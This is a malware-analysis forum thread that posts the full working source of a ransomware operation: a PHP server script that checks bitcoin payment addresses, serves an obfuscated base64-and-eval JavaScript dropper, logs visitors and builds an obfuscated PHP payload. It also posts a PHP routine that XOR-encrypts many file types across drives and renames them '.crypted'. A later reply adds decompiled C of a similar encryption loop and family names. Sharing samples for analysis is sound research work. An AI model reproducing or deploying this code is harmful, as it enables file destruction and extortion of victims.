A forum for reverse engineering, OS internals and malware analysis 

Forum for analysis and discussion about malware.
 #28863  by benkow_
 Tue Jul 12, 2016 2:35 pm
web callback source (index.php)
Code: Select all
<?php
 
    if (strlen(trim($_SERVER["HTTP_USER_AGENT"])) < 32 || strpos($_SERVER["HTTP_USER_AGENT"], "Windows NT") === false) exit;
 
    $ads = array("17FMywjuJkpQCQaK3hxENT9yhH7Sew6Dwd","172wwa1JKd7mzLjrrPpfULStQe3smYsvi9","1NJtiqEVSHowStHzVWbyRN1rCTEpYn8srH","13yPoMcf4Fj9cigyN5pcvQwk6VenubXS19","14kAwnFyCeNdx5v9u7DEApBroEHPibX5Sh","1MjS9q9F7K8CTJnksajAz7uhDQtgjYWGV2","1Bgz4tHx62KXzL22ikTWvGiQdKTVJELf6z","1PhGvwDx6qvGSNWeezzmM1Zd26FdEB7iU1");     
 
    if (isset($_GET["a"]))
    {
        if (in_array($_GET["a"],$ads))
        {
            class z{var $s=array();var $i=array();var $o=0;function j($x){$d="";for($i=0;$i<strlen($x);$i+=2)$d.=chr(hexdec($x[$i].$x[$i+1]));return $d;} function ud(){$a=array("y"=>date("Y"),"m"=>date("m"),"d"=>date("d"),"h"=>date("H"),"i"=>date("i"),"s"=>date("s"));return (($a["y"]-1980)<<25)|($a["m"]<<21)|($a["d"]<<16)|($a["h"]<<11)|($a["i"]<<5)|($a["s"]>>1);} function a($d,$n){$n=str_replace(chr(92),"/",$n);$x=dechex($this->ud());$h=$this->j($x[6].$x[7].$x[4].$x[5].$x[2].$x[3].$x[0].$x[1]);$fr=$this->j("504b0304140000000800").$h;$u=strlen($d);$g=crc32($d);$z=gzcompress($d);$z=substr(substr($z,0,strlen($z)-4),2);$p=strlen($z);$fr.=pack("V",$g).pack("V",$p).pack("V",$u).pack("v",strlen($n)).pack("v",0).$n.$z;$this->s[]=$fr;$r=$this->j("504b01020000140000000800").$h.pack("V",$g).pack("V",$p).pack("V",$u).pack("v",strlen($n)).pack("v",0).pack("v",0).pack("v",0).pack("v",0).pack("V",32).pack("V",$this->o);$this->o+=strlen($fr);$r.=$n;$this->i[]=$r;} function f(){$d=implode("",$this->s);$l=implode("",$this->i);return $d.$l.$this->j("504b050600000000").pack("v",sizeof($this->i)).pack("v",sizeof($this->i)).pack("V",strlen($l)).pack("V",strlen($d)).$this->j("0000");}}
 
            $dec = base64_decode("ZnVuY3Rpb24gdjM4KHA4OSxjNDgsczE1KSB7dzYyW3MxNV0gPSBwODk7fTsgdmFyIHc2MiA9IG5ldyBBcnJheSgpO3YzOCgnKG49PTQnLCA2NzQsIDIwMCk7djM4KCd9OyBpZicsIDQyMSwgMjIzKTt2MzgoJ0NPTVNQRScsIDcxMSwgMzY4KTt2MzgoJyUgL2MgJywgNjkxLCA0MTMpO3YzOCgnIG49MztuJywgOTU0LCAxMzIpO3YzOCgnIiwwLCcsIDQ5MCwgMzI2KTt2MzgoJyVDT00nLCA3NzAsIDQyNCk7djM4KCduZCgnLCAxMTYsIDE2NSk7djM4KCctYicsIDk0NCwgMzQpO3YzOCgneGEuc2EnLCA4NSwgMjExKTt2MzgoJ3RlTycsIDE2MSwgMTA5KTt2MzgoJ0MlICcsIDI4NCwgNDQwKTt2MzgoJytpK24nLCA3MjUsIDE2MCk7djM4KCcwKTsgJywgMjU3LCAzNDQpO3YzOCgnZ3MoIiUnLCA2ODQsIDc0KTt2MzgoJ2luJywgOSwgNzMpO3YzOCgnTVNQRUMnLCA1NzcsIDMxMik7djM4KCdyaScsIDU3MSwgNyk7djM4KCcodmFyIGknLCA4MzIsIDM5OCk7djM4KCdlY3QoIicsIDQxMCwgOTkpO3YzOCgndG5lcnMnLCAzMTcsIDI1KTt2MzgoJyJTT0ZUJywgNDcwLCAyODEpO3YzOCgnd3d3JywgNDk2LCA0MCk7djM4KCd0ZScsIDMyNSwgMTU1KTt2MzgoJ29zZScsIDM1LCA0MDcpO3YzOCgnY3QoJywgODc2LCAxMTEpO3YzOCgnbz1XU2NyJywgMTQsIDExOCk7djM4KCdNU1BFJywgODI1LCA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k7djM4KCdpZicsIDkwMSwgMTk5KTt2MzgoJywxLDEpOycsIDU1MywgMjY4KTt2MzgoJ2VFeGlzdCcsIDczOSwgMjUyKTt2MzgoJy5leGUiJywgNTA2LCAxOTUpO3YzOCgnVG8nLCAzLCAyMTMpO3YzOCgnYyAnLCA1OTEsIDMzMik7djM4KCdhY2UnLCA2NDIsIDI4KTt2MzgoJ2FyICcsIDgyNiwgOTMpO3YzOCgnU1BFQyUgJywgMjYsIDI2MCk7djM4KCduIitjJywgMjUxLCAyOTgpO3YzOCgnbHNlICcsIDE1NSwgMTk4KTt3NjIgPSB3NjIuam9pbigiIik7IGV2YWwodzYyKTs=");
            $dec = str_replace("@", $_GET["a"], $dec);
 
            $zip=new z();
            $zip->a($dec, "DECRYPT.js");
            $cn = $zip->f();
           
            header("Content-Transfer-Encoding: binary");
            header("Content-Length: ".strlen($cn));
            header("Content-Disposition: attachment; filename=DECRYPT.zip");
            header("Content-Type: application/octet-stream");
 
            print $cn;
            exit;
        }
        else
        {
            header ("Content-type: text/plain");
 
            print "Access denied. Waiting for a payment...";
        }
    }
    elseif (isset($_GET["id"]) || isset($_GET["ad"]))
    {
        $n = (isset($_GET["rnd"])) ? substr($_GET["rnd"],-1)*1 : 0;
 
        $fp = @fopen("document.txt", "a");
        @fputs($fp, time()."\t".$_SERVER["REMOTE_ADDR"]."\t".$_SERVER["HTTP_HOST"]."\t".$_SERVER["REQUEST_URI"]."\n");
        @fclose($fp);
 
        if (@file_exists($n.".bin"))
        {
            header("Content-Type: image/png");
            header("Content-Disposition: attachment; filename=".substr(md5(mt_rand(1,10000000)),0,mt_rand(1,16)).".png");
 
            if ($n == 5)
            {
                $act = (in_array($_GET["ad"],$ads) && !isset($_GET["id"])) ? "d" : "e";
 
                            $php = file_get_contents($n.".bin");
 
                $key = "";
                for ($i=0; $i<strlen($_GET["ad"]); $i++) $key .= chr((ord($_GET["ad"][$i])*($i+1))%256).chr((ord($_GET["ad"][$i])*($i+2))%256).chr((ord($_GET["ad"][$i])*($i+3))%256);
 
                $php = str_replace("<%ACT%>", $act, $php);
                $php = str_replace("<%KEY%>", base64_encode($key), $php);
                $php = str_replace("<%DRF%>", "67", $php);
                $php = str_replace("<%DRT%>", "90", $php);
 
                function Senc($str)
                {
                    $enc = array();
                    for ($i=0; $i<strlen($str); $i++) $enc[] = (mt_rand(1,100) < 80 && $str[$i] != chr(34) && $str[$i] != chr(46)) ? chr(34).$str[$i].chr(34) : "chr(".ord($str[$i]).")";
                    return str_replace(chr(34).chr(46).chr(34), "", implode($enc,"."));
                }
 
                $php = trim(str_replace("<"."?php", "", str_replace("?".">", "", $php)));
                $preg = "$".chr(mt_rand(97,122)).mt_rand(1,1000);
                $block = "$".chr(mt_rand(97,122)).mt_rand(1,1000);
                $templ = "$".chr(mt_rand(97,122)).mt_rand(1,1000);
                $trash = md5(mt_rand(1,1000000));
                $php = "<"."?php ".$preg."=".Senc("preg_replace").";".$block."=".Senc("eval(base64_decode(".chr(34).base64_encode($php).chr(34)."));").";".$templ."=".Senc("/".$trash."/e").";preg_replace(".$templ.",".$block.",".Senc($trash)."); ?".">";
 
                header("Content-Length: ".strlen($php));
                print $php;
            }
            else
            {
                header("Content-Length: ".@filesize($n.".bin"));
                @readfile($n.".bin");
            }
 
        }
 
        exit;
    }
 
    ?>
decryptor (5.bin)
Code: Select all
<?php
 
set_time_limit(0);
 
for($i=<%DRF%>;$i<=<%DRT%>;$i++) if(@is_dir(chr($i).':')) Tree(chr($i).':');
 
function Tree($p)
{
    $a='<%ACT%>';
    $k=base64_decode('<%KEY%>');
    $s=chr(92);
 
    if(preg_match('/'.$s.$s.'(winnt|boot|system|windows|tmp|temp|program|appdata|application|roaming|msoffice|temporary|cache)/i',$p) || preg_match('/recycle/i',$p)) return;
 
    $dp=@opendir($p);
 
    if($dp===false) return;
 
    while($o=@readdir($dp)) if($o!='.'&&$o!='..')
    {
        if (@is_dir($p.$s.$o))
        {
            Tree($p.$s.$o);
        }
        elseif ($a=='e'&&preg_match('/[.](zip|rar|r00|r01|r02|r03|7z|tar|gz|gzip|arc|arj|bz|bz2|bza|bzip|bzip2|ice|xls|xlsx|doc|docx|pdf|djvu|fb2|rtf|ppt|pptx|pps|sxi|odm|odt|mpp|ssh|pub|gpg|pgp|kdb|kdbx|als|aup|cpr|npr|cpp|bas|asm|cs|php|pas|class|py|pl|h|vb|vcproj|vbproj|java|bak|backup|mdb|accdb|mdf|odb|wdb|csv|tsv|sql|psd|eps|cdr|cpt|indd|dwg|ai|svg|max|skp|scad|cad|3ds|blend|lwo|lws|mb|slddrw|sldasm|sldprt|u3d|jpg|jpeg|tiff|tif|raw|avi|mpg|mp4|m4v|mpeg|mpe|wmf|wmv|veg|mov|3gp|flv|mkv|vob|rm|mp3|wav|asf|wma|m3u|midi|ogg|mid|vdi|vmdk|vhd|dsk|img|iso)$/i',$o) || $a=='d'&&preg_match('/[.](crypted)$/i',$o))
        {
            $fp=@fopen($p.$s.$o,'r+');
            if ($fp!==false)
            {
                $x=@fread($fp,1024);
                for($i=0;$i<strlen($x);$i++)$x[$i]=chr(ord($x[$i])^ord($k[$i%strlen($k)]));
                @fseek($fp,0);
                @fwrite($fp,$x);
                @fclose($fp);
 
                if($a=='e')
                {
                    @rename($p.$s.$o, $p.$s.$o.'.crypted');
                }
                else
                {
                    @rename($p.$s.$o, preg_replace('/[.]crypted$/', '', $p.$s.$o));
                }
            }
        }
    }
 
    @closedir($dp);
}
 
?>
 #29457  by EP_X0FF
 Tue Oct 18, 2016 9:32 am
ikolor wrote:next ..
https://www.virustotal.com/en/file/c65f ... /analysis/

https://www.virustotal.com/en/file/7522 ... 464281473/
0.bin - Genius
Code: Select all
 Filename = *(char **)(a2 + 4);
  Str = *(char **)(a2 + 8);
  Dst = malloc(1u);
  memset(Dst, 0, 1u);
  Offset = 0;
  for ( File = fopen(Filename, Mode); fread(Dst, 1u, 1u, File) && Offset < 1024; fseek(File, Offset, 0) )
  {
    *(_BYTE *)Dst ^= Str[Offset % (signed int)strlen(Str)];
    fseek(File, Offset++, 0);
    fwrite(Dst, 1u, 1u, File);
    memset(Dst, 0, 1u);
  }
  fclose(File);
1.bin - Win32/Kovter
2.bin - Win32/Miuref
h.exe - Win32/Skidlo

Posts moved to Kovter thread.